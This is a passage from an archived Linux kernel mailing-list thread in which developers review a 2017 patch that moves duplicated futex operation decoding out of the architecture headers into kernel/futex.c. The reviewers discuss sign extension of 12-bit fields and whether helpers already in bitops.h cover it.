	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ck98b-0008MH-U0
	for sgi-linux-mips@gmane.org; Sat, 04 Mar 2017 13:50:18 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id 20b03604-00d9-11e7-b156-b499baabecb2;
	Sat, 04 Mar 2017 12:50:21 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:49860 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23990519AbdCDMuS2h4MM (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 4 Mar 2017 13:50:18 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 04 Mar 2017 13:50:03 +0100 (CET)
Original-Received: from ozlabs.org ([103.22.144.67]:56635 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S23990513AbdCDMtyXh2YM (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sat, 4 Mar 2017 13:49:54 +0100
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3vb5VQ1nphz9s7x;
        Sat,  4 Mar 2017 23:49:50 +1100 (AEDT)
In-Reply-To: <20170303122712.13353-1-jslaby@suse.cz>
X-archive-position: 57031
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: mpe@ellerman.id.au
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58194 gmane.linux.kernel:2423408 gmane.linux.ports.alpha:4109 gmane.linux.kernel.arc:2189 gmane.linux.ports.arm.kernel:562602 gmane.linux.ports.hexagon:1136 gmane.linux.ports.ia64:27675 gmane.linux.ports.parisc:27298 gmane.linux.ports.ppc64.devel:139204 gmane.linux.ports.sh.devel:55106 gmane.linux.ports.sparc:24675 gmane.linux.kernel.cross-arch:35354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58194>

Jiri Slaby <jslaby@suse.cz> writes:

> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
>
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.

Looks OK and boots on powerpc. But I don't think anything's actually
calling those futex ops. Is there a test suite I should run?

Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)

cheers



From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sat, 4 Mar 2017 13:05:50 +0000
Lines: 119
Approved: news@gmane.org
Message-ID: <20170304130550.GT21222@n2100.armlinux.org.uk>
References: <20170303122712.13353-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488632923 20833 195.159.176.226 (4 Mar 2017 13:08:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 13:08:43 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-mips-bounce@linux-mips.org Sat Mar 04 14:08:34 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ck9QH-0004Qs-Ik
	for sgi-linux-mips@gmane.org; Sat, 04 Mar 2017 14:08:33 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id ad5efc1d-00db-11e7-b156-b499baabecb2;
	Sat, 04 Mar 2017 13:08:36 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:50176 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23990519AbdCDNIeSVsAM (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 4 Mar 2017 14:08:34 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 04 Mar 2017 14:08:19 +0100 (CET)
Original-Received: from pandora.armlinux.org.uk ([IPv6:2001:4d48:ad52:3201:214:fdff:fe10:1be6]:57926
        "EHLO pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23990522AbdCDNIL201tM (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sat, 4 Mar 2017 14:08:11 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=oveH2gO74WZptAa3+CnoPbxuVdRNwrMLxnvaThBLFMs=;
        b=dSBysVZsY5C27ceUL3AwTFpFWBJU5Ihk9Wgy4Bzk2S/vODp7z+VteJoOR/3xtC0h9Sthud0VFZiL0GnyG27hDZDgsMnY7YiyzztBB7UhnytIWiwH39rYjcMdEV5sRZVhQ2tFtFEbA13r5qxFn4VmluVU3t54t1h6KTepeJnnvNI=;
Original-Received: from n2100.armlinux.org.uk ([2001:4d48:ad52:3201:214:fdff:fe10:4f86]:36416)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@armlinux.org.uk>)
        id 1ck9Ni-0000bk-Or; Sat, 04 Mar 2017 13:05:55 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1ck9Ne-00029C-MP; Sat, 04 Mar 2017 13:05:50 +0000
Content-Disposition: inline
In-Reply-To: <20170303122712.13353-1-jslaby@suse.cz>
X-archive-position: 57032
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@armlinux.org.uk
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58195 gmane.linux.kernel:2423412 gmane.linux.ports.alpha:4110 gmane.linux.kernel.arc:2190 gmane.linux.ports.arm.kernel:562605 gmane.linux.ports.hexagon:1137 gmane.linux.ports.ia64:27676 gmane.linux.ports.parisc:27299 gmane.linux.ports.ppc64.devel:139205 gmane.linux.ports.sh.devel:55107 gmane.linux.ports.sparc:24676 gmane.linux.kernel.cross-arch:35355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58195>

On Fri, Mar 03, 2017 at 01:27:10PM +0100, Jiri Slaby wrote:
> diff --git a/arch/arm/include/asm/futex.h b/arch/arm/include/asm/futex.h
> index 6795368ad023..cc414382dab4 100644
> --- a/arch/arm/include/asm/futex.h
> +++ b/arch/arm/include/asm/futex.h
> @@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
>  #endif /* !SMP */
>  
>  static inline int
> -futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
> +arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
>  {
> -	int op = (encoded_op >> 28) & 7;
> -	int cmp = (encoded_op >> 24) & 15;
> -	int oparg = (encoded_op << 8) >> 20;
> -	int cmparg = (encoded_op << 20) >> 20;
>  	int oldval = 0, ret, tmp;
>  
> -	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
> -		oparg = 1 << oparg;
> -
> -	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
> -		return -EFAULT;
> -
>  #ifndef CONFIG_SMP
>  	preempt_disable();
>  #endif
> @@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
>  	preempt_enable();
>  #endif
>  
> -	if (!ret) {
> -		switch (cmp) {
> -		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
> -		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
> -		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
> -		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
> -		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
> -		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
> -		default: ret = -ENOSYS;
> -		}
> -	}
> +	if (!ret)
> +		*oval = oldval;
> +
>  	return ret;
>  }
>  
> diff --git a/kernel/futex.c b/kernel/futex.c
> index b687cb22301c..c5ff9850952f 100644
> --- a/kernel/futex.c
> +++ b/kernel/futex.c
> @@ -1457,6 +1457,42 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
>  	return ret;
>  }
>  
> +static int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
> +{
> +	int op = (encoded_op >> 28) & 7;
> +	int cmp = (encoded_op >> 24) & 15;
> +	int oparg = (encoded_op << 8) >> 20;
> +	int cmparg = (encoded_op << 20) >> 20;

Hmm.  oparg and cmparg look like they're doing these shifts to get sign
extension of the 12-bit values by assuming that "int" is 32-bit -
probably worth a comment, or for safety, they should be "s32" so it's
not dependent on the bit-width of "int".

> +	int oldval, ret;
> +
> +	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
> +		oparg = 1 << oparg;

I guess it doesn't matter that oparg can be >= the bit size of oparg
(so large values produce an undefined result) as it's no different
from userspace trying to do the same with large shifts.

> +
> +	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
> +		return -EFAULT;
> +
> +	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
> +	if (ret)
> +		return ret;
> +
> +	switch (cmp) {
> +	case FUTEX_OP_CMP_EQ:
> +		return oldval == cmparg;
> +	case FUTEX_OP_CMP_NE:
> +		return oldval != cmparg;
> +	case FUTEX_OP_CMP_LT:
> +		return oldval < cmparg;
> +	case FUTEX_OP_CMP_GE:
> +		return oldval >= cmparg;
> +	case FUTEX_OP_CMP_LE:
> +		return oldval <= cmparg;
> +	case FUTEX_OP_CMP_GT:
> +		return oldval > cmparg;
> +	default:
> +		return -ENOSYS;
> +	}
> +}
> +
>  /*
>   * Wake up all waiters hashed on the physical page that is mapped
>   * to this virtual address:

As it's no worse than our existing code, for the above,

Acked-by: Russell King <rmk+kernel@armlinux.org.uk>

Thanks.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.



From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sat, 4 Mar 2017 11:15:17 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <3994975e-89a5-d2b5-60be-a8633ddc3733@zytor.com>
References: <20170303122712.13353-1-jslaby@suse.cz>
 <20170304130550.GT21222@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1488655162 20384 195.159.176.226 (4 Mar 2017 19:19:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 19:19:22 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.7.0
Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
To: Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-mips-bounce@linux-mips.org Sat Mar 04 20:19:14 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ckFCy-00045q-7X
	for sgi-linux-mips@gmane.org; Sat, 04 Mar 2017 20:19:12 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTP
	id 74c06847-010f-11e7-b719-b499baa2b07a;
	Sat, 04 Mar 2017 19:19:15 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:55758 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993457AbdCDTTLo95T0 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 4 Mar 2017 20:19:11 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 04 Mar 2017 20:18:56 +0100 (CET)
Original-Received: from [IPv6:2001:1868:a000:17::138] ([IPv6:2001:1868:a000:17::138]:35582
        "EHLO mail.zytor.com" rhost-flags-FAIL-FAIL-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993423AbdCDTSsfqjc0 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sat, 4 Mar 2017 20:18:48 +0100
Original-Received: from hanvin-mobl2.amr.corp.intel.com (jfdmzpr06-ext.jf.intel.com [134.134.137.75])
        (authenticated bits=0)
        by mail.zytor.com (8.15.2/8.14.5) with ESMTPSA id v24JFK24002726
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
        Sat, 4 Mar 2017 11:15:22 -0800
In-Reply-To: <20170304130550.GT21222@n2100.armlinux.org.uk>
X-archive-position: 57036
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hpa@zytor.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58199 gmane.linux.kernel:2423531 gmane.linux.ports.alpha:4111 gmane.linux.kernel.arc:2191 gmane.linux.ports.arm.kernel:562638 gmane.linux.ports.hexagon:1138 gmane.linux.ports.ia64:27677 gmane.linux.ports.parisc:27300 gmane.linux.ports.ppc64.devel:139206 gmane.linux.ports.sh.devel:55108 gmane.linux.ports.sparc:24677 gmane.linux.kernel.cross-arch:35356
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58199>

On 03/04/17 05:05, Russell King - ARM Linux wrote:
>>  
>> +static int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
>> +{
>> +	int op = (encoded_op >> 28) & 7;
>> +	int cmp = (encoded_op >> 24) & 15;
>> +	int oparg = (encoded_op << 8) >> 20;
>> +	int cmparg = (encoded_op << 20) >> 20;
> 
> Hmm.  oparg and cmparg look like they're doing these shifts to get sign
> extension of the 12-bit values by assuming that "int" is 32-bit -
> probably worth a comment, or for safety, they should be "s32" so it's
> not dependent on the bit-width of "int".
> 

For readability, perhaps we should make sign- and zero-extension an
explicit facility?

/*
 * Truncate an integer x to n bits, using sign- or
 * zero-extension, respectively.
 */
static inline __const_func__ s32 sex32(s32 x, int n)
{
  return (x << (32-n)) >> (32-n);
}

static inline __const_func__ s64 sex64(s64 x, int n)
{
  return (x << (64-n)) >> (64-n);
}

#define sex(x,y)						\
	((__typeof__(x))					\
	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
	   (sizeof(x) <= sizeof(s32)))				\
	  ? sex32((x),(y)) : sex64((x),(y))))

static inline __const_func__ u32 zex32(u32 x, int n)
{
  return (x << (32-n)) >> (32-n);
}

static inline __const_func__ u64 zex64(u64 x, int n)
{
  return (x << (64-n)) >> (64-n);
}

#define zex(x,y)						\
	((__typeof__(x))					\
	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
	   (sizeof(x) <= sizeof(u32)))				\
	  ? zex32((x),(y)) : zex64((x),(y))))




From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stafford Horne <shorne@gmail.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sun, 5 Mar 2017 06:38:05 +0900
Lines: 69
Approved: news@gmane.org
Message-ID: <20170304213805.GA2449@lianli.shorne-pla.net>
References: <20170303122712.13353-1-jslaby@suse.cz>
 <20170304130550.GT21222@n2100.armlinux.org.uk>
 <3994975e-89a5-d2b5-60be-a8633ddc3733@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488663495 19475 195.159.176.226 (4 Mar 2017 21:38:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 21:38:15 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: Russell King - ARM Linux <linux@armlinux.org.uk>,
        Jiri Slaby <jslaby@suse.cz>, akpm@linux-foundation.org,
        linux-kernel@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-hexagon-owner@vger.kernel.org Sat Mar 04 22:38:06 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1ckHNO-00021l-Bb
	for glphk-linux-hexagon@m.gmane.org; Sat, 04 Mar 2017 22:38:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752278AbdCDViM (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Sat, 4 Mar 2017 16:38:12 -0500
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:35571 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752234AbdCDViK (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Sat, 4 Mar 2017 16:38:10 -0500
Original-Received: by mail-pf0-f195.google.com with SMTP id 67so8984333pfg.2;
        Sat, 04 Mar 2017 13:38:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=T113F+LWsK49MRaodrq2aciYSICth59XP9jp5xA1kko=;
        b=apTR96C/GNcWpeWdyQkpDSafUrb8wElWcNvymUxrEY/ivy367a28/jUymjHvEOk+3K
         l+5AKPhZygzq13R17gkTT0trDZzZiUmojHhnN6fmsVtKNox+Un17K0B5qQxqTCbQLFGl
         YACikrTEw3rdoCGirBahnKwhVEaOwE9FiFvtS9s+tr1nUwdCJwyXexbMt9zB7OWaFP2s
         EGc2F/vDoxjaDT2HuugXFg56EsBvMEFfpq8/kVkMVoR4nSlZky46EbeMlG77B2FsJPqJ
         wkGGSJYllkaf7F9GcJtfMSPx5hgfS/xNoNWn0ADB5Cr6RQEVoT3z7csX4a4ImuR+r1X7
         NTVA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=T113F+LWsK49MRaodrq2aciYSICth59XP9jp5xA1kko=;
        b=UKHFU9qzeornkQZeSTzmgx51vhnfIJymkJlk80OlgGBUHpo2tVPH6s6WAeRhyA+S82
         MrBDH3H0Qsb/6QOfUKZ5CCSeTTuU2rvGiiJbjhqAQAu0jT2YumwQgm0QJk8LN2vD/sn1
         nHknS7CN67VTa3DqIBsxak9+ozIOGj2xqSwdmaBDvD6R7HmHu5z5PCVRDZx/IXSH1He7
         Wh7+f06stLr6ArDfeNx1F65di47LEUDQJZZ53DQIU1g/Qrvuaob/wh28QuRWyFu2OUF5
         7chIgw+F0szn6Tfz+Xo2CSCqN8ONwouC0LvhRgQMkrcE+jOJlSSTtk4jn1LNmtIj6ULI
         /IXQ==
X-Gm-Message-State: AMke39kCx+VtesONyXi/EOuDizsGz0H0tvBlp4P9Rlt0aLPeNi47+JRFGAK9ByhuRw1yTg==
X-Received: by 10.84.231.207 with SMTP id g15mr9405976pln.2.1488663488907;
        Sat, 04 Mar 2017 13:38:08 -0800 (PST)
Original-Received: from localhost (z254.124-44-183.ppp.wakwak.ne.jp. [124.44.183.254])
        by smtp.gmail.com with ESMTPSA id s3sm31043661pgn.55.2017.03.04.13.38.07
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Sat, 04 Mar 2017 13:38:07 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3994975e-89a5-d2b5-60be-a8633ddc3733@zytor.com>
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1139 gmane.linux.kernel:2423543 gmane.linux.ports.alpha:4112 gmane.linux.kernel.arc:2192 gmane.linux.ports.arm.kernel:562645 gmane.linux.ports.ia64:27678 gmane.linux.ports.mips.general:58200 gmane.linux.ports.parisc:27301 gmane.linux.ports.ppc64.devel:139207 gmane.linux.ports.sh.devel:55109 gmane.linux.ports.sparc:24678 gmane.linux.kernel.cross-arch:35357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1139>

On Sat, Mar 04, 2017 at 11:15:17AM -0800, H. Peter Anvin wrote:
> On 03/04/17 05:05, Russell King - ARM Linux wrote:
> >>  
> >> +static int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
> >> +{
> >> +	int op = (encoded_op >> 28) & 7;
> >> +	int cmp = (encoded_op >> 24) & 15;
> >> +	int oparg = (encoded_op << 8) >> 20;
> >> +	int cmparg = (encoded_op << 20) >> 20;
> > 
> > Hmm.  oparg and cmparg look like they're doing these shifts to get sign
> > extension of the 12-bit values by assuming that "int" is 32-bit -
> > probably worth a comment, or for safety, they should be "s32" so it's
> > not dependent on the bit-width of "int".
> > 
> 
> For readability, perhaps we should make sign- and zero-extension an
> explicit facility?

There is some of this in already here, 32 and 64 bit versions:

  include/linux/bitops.h

Do we really need zero extension? It seems the same.

Example implementation from bitops.h

static inline __s32 sign_extend32(__u32 value, int index)
{
        __u8 shift = 31 - index;
        return (__s32)(value << shift) >> shift;
}

> /*
>  * Truncate an integer x to n bits, using sign- or
>  * zero-extension, respectively.
>  */
> static inline __const_func__ s32 sex32(s32 x, int n)
> {
>   return (x << (32-n)) >> (32-n);
> }
> 
> static inline __const_func__ s64 sex64(s64 x, int n)
> {
>   return (x << (64-n)) >> (64-n);
> }
> 
> #define sex(x,y)						\
> 	((__typeof__(x))					\
> 	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
> 	   (sizeof(x) <= sizeof(s32)))				\
> 	  ? sex32((x),(y)) : sex64((x),(y))))
> 
> static inline __const_func__ u32 zex32(u32 x, int n)
> {
>   return (x << (32-n)) >> (32-n);
> }
> 
> static inline __const_func__ u64 zex64(u64 x, int n)
> {
>   return (x << (64-n)) >> (64-n);
> }
> 
> #define zex(x,y)						\
> 	((__typeof__(x))					\
> 	 (((__builtin_constant_p(y) && ((y) <= 32)) ||		\
